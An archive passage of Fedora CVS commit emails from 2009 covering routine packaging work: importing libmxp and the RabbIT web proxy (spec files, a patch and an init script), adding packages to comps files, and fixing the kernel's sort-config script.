--- sources	19 Oct 2009 16:26:59 -0000	1.1
+++ sources	31 Oct 2009 03:06:06 -0000	1.2
@@ -0,0 +1 @@
+7e68db505f6891b25109eb8f21d180d0  libmxp-0.2.2.tar.gz



From rrix at fedoraproject.org  Sat Oct 31 03:10:52 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Sat, 31 Oct 2009 03:10:52 +0000 (UTC)
Subject: rpms/libmxp/F-10 import.log, NONE, 1.1 libmxp-0.2.2-gcc44.patch,
	NONE, 
	1.1 libmxp.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031031052.2015511C0371@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/libmxp/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27086/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libmxp-0.2.2-gcc44.patch libmxp.spec 
Log Message:
Initial import of libmxp into F-11/



--- NEW FILE import.log ---
libmxp-0_2_2-3_fc11:F-10:libmxp-0.2.2-3.fc11.src.rpm:1256958580

libmxp-0.2.2-gcc44.patch:
 cmxpstate.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE libmxp-0.2.2-gcc44.patch ---
--- libmxp-0.2.2/src/cmxpstate.cpp      2004-11-23 08:01:47.000000000 -0700
+++ libmxp-0.2.2-fedora/src/cmxpstate.cpp       2009-09-21 23:26:09.363685277 -0700
@@ -25,6 +25,7 @@

 #include <algorithm>
 #include <stdlib.h>
+#include <string.h>

 cMXPState::cMXPState (cResultHandler *resh, cElementManager *elm, cEntityManager *enm)
 {


--- NEW FILE libmxp.spec ---
Name:           libmxp
Version:        0.2.2
Release:        3%{?dist}
Summary:        MUD eXtension protocol library

Group:          System Environment/Libraries
License:        LGPLv2+
URL:            http://www.kmuddy.com/libmxp/
Source0:        http://www.kmuddy.com/libmxp/files/%{name}-%{version}.tar.gz
Patch0:         %{name}-%{version}-gcc44.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

#BuildRequires:  
#Requires:       

%description
The MXP library implements the parser for the MUD eXtension protocol.

%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.

%prep
%setup -q
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.LIB README AUTHORS ChangeLog NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%changelog
* Wed Sep 23 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-3
- fixed changelog and license

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-2
- added documentation

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-1
- initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:59 -0000	1.1
+++ .cvsignore	31 Oct 2009 03:10:49 -0000	1.2
@@ -0,0 +1 @@
+libmxp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:59 -0000	1.1
+++ sources	31 Oct 2009 03:10:49 -0000	1.2
@@ -0,0 +1 @@
+7e68db505f6891b25109eb8f21d180d0  libmxp-0.2.2.tar.gz



From mathstuf at fedoraproject.org  Sat Oct 31 04:20:58 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sat, 31 Oct 2009 04:20:58 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.287, 1.288 comps-f11.xml.in, 1.319,
	1.320 comps-f12.xml.in, 1.176, 1.177 comps-f13.xml.in, 1.63, 1.64
Message-ID: <20091031042058.ECB9111C0376@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15261

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
Adding kobby, bilbo, and git-cola packages to comps


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.287
retrieving revision 1.288
diff -u -p -r1.287 -r1.288
--- comps-f10.xml.in	29 Oct 2009 08:52:11 -0000	1.287
+++ comps-f10.xml.in	31 Oct 2009 04:20:54 -0000	1.288
@@ -909,6 +909,7 @@
       <packagereq type="optional">gforth</packagereq>
       <packagereq type="optional">ghc</packagereq>
       <packagereq type="optional">giggle</packagereq>
+      <packagereq type="optional">git-cola</packagereq>
       <packagereq type="optional">gnu-smalltalk</packagereq>
       <packagereq type="optional">gphpedit</packagereq>
       <packagereq type="optional">gprolog</packagereq>
@@ -3036,6 +3037,7 @@
       <packagereq type="optional">apollon</packagereq>
       <packagereq type="optional">basket</packagereq>
       <packagereq type="optional">bibletime</packagereq>
+      <packagereq type="optional">bilbo</packagereq>
       <packagereq type="optional">compiz-kde</packagereq>
       <packagereq type="optional">crystal</packagereq>
       <packagereq type="optional">gtk-qt-engine</packagereq>
@@ -3069,6 +3071,7 @@
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmobiletools</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">kompose</packagereq>
       <packagereq type="optional">kooldock</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.319
retrieving revision 1.320
diff -u -p -r1.319 -r1.320
--- comps-f11.xml.in	29 Oct 2009 08:52:11 -0000	1.319
+++ comps-f11.xml.in	31 Oct 2009 04:20:54 -0000	1.320
@@ -989,6 +989,7 @@
       <packagereq type="optional">gforth</packagereq>
       <packagereq type="optional">ghc</packagereq>
       <packagereq type="optional">giggle</packagereq>
+      <packagereq type="optional">git-cola</packagereq>
       <packagereq type="optional">gnu-smalltalk</packagereq>
       <packagereq type="optional">gphpedit</packagereq>
       <packagereq type="optional">gprolog</packagereq>
@@ -3489,6 +3490,7 @@
       <packagereq type="optional">apollon</packagereq>
       <packagereq type="optional">basket</packagereq>
       <packagereq type="optional">bibletime</packagereq>
+      <packagereq type="optional">bilbo</packagereq>
       <packagereq type="optional">compiz-kde</packagereq>
       <packagereq type="optional">crystal</packagereq>
       <packagereq type="optional">gtk-qt-engine</packagereq>
@@ -3517,6 +3519,7 @@
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">koverartist</packagereq>
       <packagereq type="optional">krecipes</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- comps-f12.xml.in	30 Oct 2009 02:13:45 -0000	1.176
+++ comps-f12.xml.in	31 Oct 2009 04:20:54 -0000	1.177
@@ -1084,6 +1084,7 @@
       <packagereq type="optional">gforth</packagereq>
       <packagereq type="optional">ghc</packagereq>
       <packagereq type="optional">giggle</packagereq>
+      <packagereq type="optional">git-cola</packagereq>
       <packagereq type="optional">gnu-smalltalk</packagereq>
       <packagereq type="optional">gphpedit</packagereq>
       <packagereq type="optional">gprolog</packagereq>
@@ -3711,6 +3712,7 @@
       <packagereq type="optional">apollon</packagereq>
       <packagereq type="optional">basket</packagereq>
       <packagereq type="optional">bibletime</packagereq>
+      <packagereq type="optional">bilbo</packagereq>
       <packagereq type="optional">compiz-kde</packagereq>
       <packagereq type="optional">crystal</packagereq>
       <packagereq type="optional">kbibtex</packagereq>
@@ -3740,6 +3742,7 @@
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
       <packagereq type="optional">knetworkmanager</packagereq>
+      <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">koverartist</packagereq>
       <packagereq type="optional">krecipes</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- comps-f13.xml.in	29 Oct 2009 19:17:48 -0000	1.63
+++ comps-f13.xml.in	31 Oct 2009 04:20:55 -0000	1.64
@@ -1075,6 +1075,7 @@
       <packagereq type="optional">gforth</packagereq>
       <packagereq type="optional">ghc</packagereq>
       <packagereq type="optional">giggle</packagereq>
+      <packagereq type="optional">git-cola</packagereq>
       <packagereq type="optional">gnu-smalltalk</packagereq>
       <packagereq type="optional">gphpedit</packagereq>
       <packagereq type="optional">gprolog</packagereq>
@@ -3688,6 +3689,7 @@
       <packagereq type="optional">apollon</packagereq>
       <packagereq type="optional">basket</packagereq>
       <packagereq type="optional">bibletime</packagereq>
+      <packagereq type="optional">bilbo</packagereq>
       <packagereq type="optional">compiz-kde</packagereq>
       <packagereq type="optional">crystal</packagereq>
       <packagereq type="optional">kbibtex</packagereq>
@@ -3717,6 +3719,7 @@
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
       <packagereq type="optional">knetworkmanager</packagereq>
+      <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">koverartist</packagereq>
       <packagereq type="optional">krecipes</packagereq>



From rrix at fedoraproject.org  Sat Oct 31 05:17:29 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Sat, 31 Oct 2009 05:17:29 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.288, 1.289 comps-f11.xml.in, 1.320,
	1.321 comps-f12.xml.in, 1.177, 1.178 comps-f13.xml.in, 1.64, 1.65
Message-ID: <20091031051729.C628F11C00EF@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9856

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
Added kmagnet to comps



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.288
retrieving revision 1.289
diff -u -p -r1.288 -r1.289
--- comps-f10.xml.in	31 Oct 2009 04:20:54 -0000	1.288
+++ comps-f10.xml.in	31 Oct 2009 05:17:28 -0000	1.289
@@ -1761,6 +1761,7 @@
       <packagereq type="optional">kdegames</packagereq>
       <packagereq type="optional">kdegames3</packagereq>
       <packagereq type="optional">kitsune</packagereq>
+      <packagereq type="optional">kmagnet</packagereq>
       <packagereq type="optional">KoboDeluxe</packagereq>
       <packagereq type="optional">koules</packagereq>
       <packagereq type="optional">lacewing</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.320
retrieving revision 1.321
diff -u -p -r1.320 -r1.321
--- comps-f11.xml.in	31 Oct 2009 04:20:54 -0000	1.320
+++ comps-f11.xml.in	31 Oct 2009 05:17:28 -0000	1.321
@@ -2111,6 +2111,7 @@
       <packagereq type="optional">kdegames</packagereq>
       <packagereq type="optional">kdegames3</packagereq>
       <packagereq type="optional">kitsune</packagereq>
+      <packagereq type="optional">kmagnet</packagereq>
       <packagereq type="optional">KoboDeluxe</packagereq>
       <packagereq type="optional">koules</packagereq>
       <packagereq type="optional">lacewing</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.177
retrieving revision 1.178
diff -u -p -r1.177 -r1.178
--- comps-f12.xml.in	31 Oct 2009 04:20:54 -0000	1.177
+++ comps-f12.xml.in	31 Oct 2009 05:17:28 -0000	1.178
@@ -2298,6 +2298,7 @@
       <packagereq type="optional">kdegames</packagereq>
       <packagereq type="optional">kdegames3</packagereq>
       <packagereq type="optional">kitsune</packagereq>
+      <packagereq type="optional">kmagnet</packagereq>
       <packagereq type="optional">KoboDeluxe</packagereq>
       <packagereq type="optional">koules</packagereq>
       <packagereq type="optional">lacewing</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- comps-f13.xml.in	31 Oct 2009 04:20:55 -0000	1.64
+++ comps-f13.xml.in	31 Oct 2009 05:17:28 -0000	1.65
@@ -2293,6 +2293,7 @@
       <packagereq type="optional">kdegames</packagereq>
       <packagereq type="optional">kdegames3</packagereq>
       <packagereq type="optional">kitsune</packagereq>
+      <packagereq type="optional">kmagnet</packagereq>
       <packagereq type="optional">KoboDeluxe</packagereq>
       <packagereq type="optional">koules</packagereq>
       <packagereq type="optional">lacewing</packagereq>



From cebbert at fedoraproject.org  Sat Oct 31 08:40:57 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 31 Oct 2009 08:40:57 +0000 (UTC)
Subject: rpms/kernel/F-12/scripts sort-config,1.6,1.7
Message-ID: <20091031084058.2862711C0086@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12/scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29811

Modified Files:
	sort-config 
Log Message:
handle empty lines properly


Index: sort-config
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/scripts/sort-config,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sort-config	17 Sep 2009 05:07:25 -0000	1.6
+++ sort-config	31 Oct 2009 08:40:56 -0000	1.7
@@ -110,7 +110,9 @@ while read TEXT ; do
 
    LINE=
    COMMENT=
-   [ -z "$TEXT" ] && TEXT='#'
+
+   # replace empty lines
+   [ -z "$TEXT" ] && TEXT='//'
 
    if [ "${TEXT:0:7}" = "CONFIG_" -o "${TEXT:0:9}" = "# CONFIG_" ] ; then
 
@@ -193,6 +195,7 @@ while read TEXT ; do
    let IN++
 
 done
+# flush the buffers
 assign_line_number
 print_saved_comments
 [ "$DEBUG" ] && echo "$IN lines read from input"
@@ -206,12 +209,12 @@ else
    # split output into two files, for matched and unmatched items
    cat xx99 | sort -s -t ":" -k 1g | csplit -k -s - /^999999/ 2>/dev/null
 
-   cat xx00 | cut -f 2- -d ':'
+   cat xx00 | cut -f 2- -d ':' | sed 's/^\/\/$//'
    if [ -s xx01 ] ; then
       echo
       echo '# ------------  UNMATCHED OPTIONS  ------------'
       echo
-      cat xx01 | cut -f 2- -d ':'
+      cat xx01 | cut -f 2- -d ':' | sed 's/^\/\/$//'
    fi
 
 fi



From hubbitus at fedoraproject.org  Sat Oct 31 09:46:23 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sat, 31 Oct 2009 09:46:23 +0000 (UTC)
Subject: rpms/RabbIT/devel RabbIT-4.0.fedora-config-path.patch, NONE,
	1.1 RabbIT.spec, NONE, 1.1 import.log, NONE, 1.1 rabbit.init,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031094623.416F311C0086@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/RabbIT/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13671/devel

Modified Files:
	.cvsignore sources 
Added Files:
	RabbIT-4.0.fedora-config-path.patch RabbIT.spec import.log 
	rabbit.init 
Log Message:
Initial push RabbIT into Fedora.



RabbIT-4.0.fedora-config-path.patch:
 rabbit.conf |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE RabbIT-4.0.fedora-config-path.patch ---
diff -NaurEbBH conf.orig/rabbit.conf conf/rabbit.conf
--- conf.orig/rabbit.conf	2009-01-11 21:32:34.000000000 +0300
+++ conf/rabbit.conf	2009-03-29 16:02:05.000000000 +0400
@@ -49,10 +49,10 @@
 # is used or you can set the system property 
 # "java.util.logging.config.file" to configure your own loggers/handlers.
 #
-access_log=logs/access_log.%g
+access_log=/var/log/RabbIT/access_log.%g
 access_size_limit=10 # in MB
 access_num_files=100
-error_log=logs/error_log.%g
+error_log=/var/log/RabbIT/error_log.%g
 error_size_limit=1 # in MB
 error_num_files=10
 
@@ -242,7 +242,7 @@
 # This is a filter to allow simple accesscontrol.
 
 # this file store the available ip-ranges that can use the proxy.
-accessfile=conf/access
+accessfile=/etc/RabbIT/access
 
 
 [rabbit.filter.HttpBaseFilter]
@@ -254,7 +254,7 @@
 
 # authenticate users (basic method only) with this user-password file.
 # this is used for meta/admin access...
-userfile=conf/users
+userfile=/etc/RabbIT/users
 
 # If you set cookieid to "true" rabbit will not cache resources
 # that seem to use cookie based identification. This should only 
@@ -332,7 +332,7 @@
 # This filter is not enabled by default, add it to 
 # httpinfilters if you want it.
 # allowed user..
-userfile=conf/allowed
+userfile=/etc/RabbIT/allowed
 
 
 [rabbit.filter.SQLProxyAuth]   


--- NEW FILE RabbIT.spec ---
Name:		RabbIT
%define lname %( echo %{name} | tr 'A-Z' 'a-z' )

Version:		4.1
Release:		9%{?dist}
Summary:		Proxy for a faster web
Summary(ru):	?????? ??? ???????? ???????? ? ????
#By example of squid
Group:		System Environment/Daemons
License:		BSD
URL:			http://www.khelekore.org/rabbit/
Source0:		http://www.khelekore.org/rabbit/%{lname}%{version}-src.tar.gz
#Startup scrip to start/stop daemon. Self produced.
Source1:		%{lname}.init
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils

Requires:		java >= 1:1.6.0, jpackage-utils
Requires:		ImageMagick, dnsjava

#Adjust only used paths in default config.
Patch0:		RabbIT-4.0.fedora-config-path.patch

Requires(pre):		/usr/sbin/useradd
Requires(post):	chkconfig
Requires(preun):	chkconfig
Requires(postun):	/usr/sbin/userdel

BuildArchitectures:	noarch

%description
RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
	o Compress text pages to gzip streams. This reduces size by up to 75% 
	o Compress images to 10% jpeg. This reduces size by up to 95% 
	o Remove advertising 
	o Remove background images 
	o Cache filtered pages and images 
	o Uses keepalive if possible 
	o Easy and powerful configuration 
	o Multi threaded solution written in java 
	o Modular and easily extended 
	o Complete HTTP/1.1 compliance

%description -l ru
RabbIT ???? ???-?????? ??????? ???????? ??? ??????? ????? ????????? ??????.
???????? ??????????? ? ???????????:
	o ??????? (gzip) ??? ????????? ????????. ??? ????????? ?? ?????? ?? 75%
	o ??????? ???????? ? jpeg ? 10% ?????????. ??? ????????? ?? ?????? ?? 95%!
	o ??????? ???????
	o ??????? ??????? ????????
	o ???????? ???????? ? ????????
	o ???? ????????, ?????????? ?????????? ?????????? (keepalive)
	o ???????, ?? ?????? ?????????
	o ??????????????, ??????? ?? Java ? ???????? ??????????? ?????.
	o ????????? ? ????????????????
	o ?????? ????????? ????????? HTTP/1.1.

%prep
%setup -q -n %{lname}4

%patch0 -p0 -b .conf-path


%build
# https://fedoraproject.org/wiki/Packaging/Java#class-path-in-manifest
sed -i '/class-path/I d' Manifest.mf
#Adjust path ( https://fedoraproject.org/wiki/Packaging/Java#build-classpath ):
#? sed -i "s#../external_libs/dnsjava-2.[[:digit:]].[[:digit:]].jar#$(build-classpath dnsjava)#" Manifest.mf

make %{?_smp_mflags}

#Make script-wrapper
cat << HEREDOC > %{name}
#!/bin/sh
java -jar %{_javadir}/%{name}-%{version}.jar -f %{_sysconfdir}/%{name}/%{name}.conf
HEREDOC

# Author say what it is iso-8859-1
iconv -f iso-8859-1 -t UTF-8 htdocs/LICENSE.txt > htdocs/LICENSE.utf-8.txt
touch --reference htdocs/LICENSE.txt htdocs/LICENSE.utf-8.txt
iconv -f iso-8859-1 -t UTF-8 LICENSE > LICENSE.utf-8
touch --reference LICENSE LICENSE.utf-8
mv htdocs/LICENSE.utf-8.txt htdocs/LICENSE.txt
mv LICENSE.utf-8 LICENSE

%install
rm -rf %{buildroot}
install -d %{buildroot}/%{_javadir}
install -m644 jars/rabbit4.jar %{buildroot}/%{_javadir}/%{name}-%{version}.jar
install -d %{buildroot}/%{_bindir}
install -m755 %{name} %{buildroot}/%{_bindir}/%{name}

install -d %{buildroot}/%{_sysconfdir}/%{name}
install -d %{buildroot}/%{_initrddir}/

sed 's#{{HTDOCS}}#%{_datadir}/%{name}#' %{SOURCE1} > %{buildroot}/%{_initrddir}/%{lname}

install -d %{buildroot}/%{_datadir}/%{name}/htdocs
cp -r htdocs/* %{buildroot}/%{_datadir}/%{name}/htdocs/

install -d %{buildroot}/%{_localstatedir}/log/%{name}
#install -d %{buildroot}/%{_localstatedir}/run/%{name}.pid

touch %{buildroot}/%{_localstatedir}/log/%{name}/main_run.log

# We exclude rabbit.conf.orig, so, we can't do just install whole directory
install -m644 conf/access		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/allowed		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/cache_only.conf	%{buildroot}/%{_sysconfdir}/%{name}/
#install -m644 conf/empty.conf		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/nocache.conf	%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/%{lname}.conf	%{buildroot}/%{_sysconfdir}/%{name}/%{name}.conf
install -m644 conf/users			%{buildroot}/%{_sysconfdir}/%{name}/

%pre
# Add the "rabbit" user
/usr/sbin/useradd -c "%{lname}" -s /sbin/nologin -r -d "%{_docdir}/%{name}-%{version}" %{lname} 2> /dev/null || :

%post
# Register service
/sbin/chkconfig --add %{lname}

%preun
if [ $1 = 0 ]; then
	/sbin/service %{lname} stop > /dev/null 2>&1
	/sbin/chkconfig --del %{lname}
fi

%postun
/usr/sbin/userdel %{lname}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%attr(755,root,root) %{_initrddir}/%{lname}
%doc ChangeLog README Help.txt LICENSE
%{_datadir}/%{name}/
%{_javadir}/%{name}-%{version}.jar
%attr(755,%{lname},root) %{_bindir}/%{name}
%dir %attr(755,%{lname},root) %{_localstatedir}/log/%{name}
%attr(755,%{lname},root) %ghost %{_localstatedir}/log/%{name}/main_run.log
%config(noreplace) %{_sysconfdir}/%{name}/access
%config(noreplace) %{_sysconfdir}/%{name}/allowed
%config(noreplace) %{_sysconfdir}/%{name}/cache_only.conf
#%config(noreplace) %{_sysconfdir}/%{name}/empty.conf
%config(noreplace) %{_sysconfdir}/%{name}/nocache.conf
%config(noreplace) %{_sysconfdir}/%{name}/%{name}.conf
%config(noreplace) %{_sysconfdir}/%{name}/users

%changelog
* Sat Aug 15 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.1-9
- Step to version 4.1.
- Robert Oloffson kindly change version enumeration by my request, now tarball have version and release.
- Own log dir also by %%{lname} user

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.0-8
- Step to new version 4.0
- Use %%{name} in Source url
- Add %%ghost %%{_localstatedir}/log/%%{name}/main_run.log
- Own as rabbit user only binary file, not all package.
- Remove name from summary.
- Add russian localized Summary and description.
- Own %%{_datadir}/%%{name}/ instead of %%{_datadir}/%%{name}/htdocs
- Source1 RabbIT.init renamed to rabbit.init.
- Remade Patch0: RabbIT-3.17.fedora-config-path.patch -> RabbIT-4.0.fedora-config-path.patch
- Delete TODO from docs, it is not present anymore.
- Add lsb # Default-Start: 2 3 4 5, # Default-Stop: 0 1 6 to init file to do rpmlint happy. Turn pid and lock files to lowercase.
- Delete classpath from manifest.
- Default disable service running: --level -

* Mon Apr 27 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-7
- Accidentally leaved httpd instead on %%name in %%post script fixed.
- Path of http-root files changed from %%{_docdir}/%%{name}-%%{version} to %%{_datadir}/%%{name}

* Sun Apr 12 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-6
- In review ( https://bugzilla.redhat.com/show_bug.cgi?id=492810 ) was tald pack dnsjava separate. Do it:
	o Remove bundled jar-package
	o Cutoff classpath from manifest
	o Add Requires dnsjava

* Wed Apr 01 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-5
- New version 3.18

* Tue Mar 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-4
- After aontact author, now I known encoding of License (iso-8859-1) and recode it.
- Exclude /etc/RabbIT/empty.conf

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-3
- Add %%doc htdocs
- Add run from another user, not root! For that:
	o Add Requires(pre): /usr/sbin/useradd
	o Requires(postun): /usr/sbin/userdel
	o In pre and postun sections add/delete user rabbit.
- Add %%{_localstatedir}/log/%%{name} in package.
- Inspired by rpmlint:
	o %%{_initrddir}/%%{name} renamed to %%{_initrddir}/%%{lname}

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-2
- Add registration of service with chkconfig. Add it into Requires(post/preun), and according sections.
- BuildArchitectures: noarch
- Install also %%{_javadir}/dnsjava-2.0.6.jar

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-1
- Initial spec file.

--- NEW FILE import.log ---
RabbIT-4_1-9_fc11:HEAD:RabbIT-4.1-9.fc11.src.rpm:1256982293


--- NEW FILE rabbit.init ---
#!/bin/bash
#
# rabbit        Startup script for the RabbIT proxy server
#
# chkconfig: - 85 15
# description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
# config: /etc/RabbIT/access
# config: /etc/RabbIT/allowed
# config: /etc/RabbIT/cache_only.conf
# config: /etc/RabbIT/empty.conf
# config: /etc/RabbIT/nocache.conf
# config: /etc/RabbIT/rabbit.conf
# config: /etc/RabbIT/users
# pidfile: /var/run/RabbIT.pid
#
### BEGIN INIT INFO
# Provides: rabbit
# Required-Start: $local_fs $remote_fs $network $named
# Required-Stop: $local_fs $remote_fs $network
# Should-Start: distcache
# Default-Stop: 0 1 6
# Short-Description: Start and stop the RabbIT proxy server
# Description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

bin='/usr/bin/RabbIT'
prog='RabbIT proxy'
pidfile=${PIDFILE-/var/run/rabbit.pid}
lockfile=${LOCKFILE-/var/lock/subsys/rabbit}
HTDOCS_DIR="{{HTDOCS}}"
USER='rabbit'
RETVAL=0

start(){
	echo -n $"Starting $prog: "
	daemon +15 --pidfile="$pidfile" --user="$USER" sh -c "cd \"$HTDOCS_DIR\"; exec \"$bin\" 2>&1 >> /var/log/RabbIT/main_run.log &"
	RETVAL=$?
	echo
		if [ 0 -eq $RETVAL ]; then
		touch ${lockfile}
		#Pid of parent sh script
		p=$( __pids_pidof "$bin" )
			[ -n $p ] && echo "Error: pid not found" && exit 1
		# Pid of child. Real java process!!! Idea from: http://209.85.129.132/search?q=cache:QnI67WuZkRcJ:www.experts-exchange.com/Programming/System/Linux/Q_20943601.html+kill+all+childs&cd=14&hl=en&ct=clnk
		p=$(ps axef -o ppid,pid | sed -nr "s#^$p (.+)\$#\1#p")
		echo $p > "$pidfile"
		fi
	return $RETVAL
}

stop(){
	echo -n $"Stopping $prog: "
	killproc -p ${pidfile}
	RETVAL=$?
	echo
	[ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile}
}

# See how we were called.
case "$1" in
  start)
	start
	;;
  stop)
	stop
	;;
  status)
        status $bin
	RETVAL=$?
	;;
  restart)
	stop
	start
	;;
  condrestart)
	if [ -f ${pidfile} ] ; then
		stop
		start
	fi
	;;
  *)
	echo $"Usage: $prog {start|stop|restart|condrestart|status}"
	RETVAL=3
esac

exit $RETVAL

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:04:58 -0000	1.1
+++ .cvsignore	31 Oct 2009 09:46:22 -0000	1.2
@@ -0,0 +1 @@
+rabbit4.1-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:04:59 -0000	1.1
